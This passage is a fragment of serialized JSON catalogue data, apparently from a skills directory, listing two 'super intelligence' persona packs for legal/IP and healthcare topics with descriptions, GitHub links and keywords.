systems","usability","leadership","ux","brain","craft","metrics","trust",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":181,"publishedAt":40},"01M71KE6H9FPSD9TECYFBPXZ8Y","legal-ip-super-intelligence","Your legal, IP, and regulatory brain trust. 31 named personas across 7 cells covering patent strategy, tech licensing, regulatory litigation, AI governance, open-source compliance, privacy law, and antitrust.","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Fsuperintelligence\u002Flegal-ip\u002FSKILL.md",[179,180],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":128,"categoryName":129,"taxonomyType":130,"taxonomyTypeDesc":131},[182,93,183,95,184,185,172,186,98,187,188,189,118,102,103,190,135,191,107,169],"ip","legal ip super intelligence","legal","sep","tech","litigation","ai governance","open","open-source","governance",{"skillNo":193,"name":194,"nameZh":6,"description":195,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":196,"categories":197,"keywords":199,"publishedAt":40},"01M71KE36QRY610V6YVB9JWRND","healthcare-life-sciences-super-intelligence","Your healthcare and life sciences brain trust. 25 named personas across 7 cells covering drug discovery, medtech, biotech strategy, health policy, genomics, clinical trials, and healthcare economics.","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Fsuperintelligence\u002Fhealthcare-life-sciences\u002FSKILL.md",[198],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[200,93,201,202,95,185,172,203,204,98,205,206,118,102,103,207,208,209,210,107],"healthcare","healthcare life sciences super intelligence","life","economics","discovery","policy","clinical","clinical trials","health","trials","genomics"]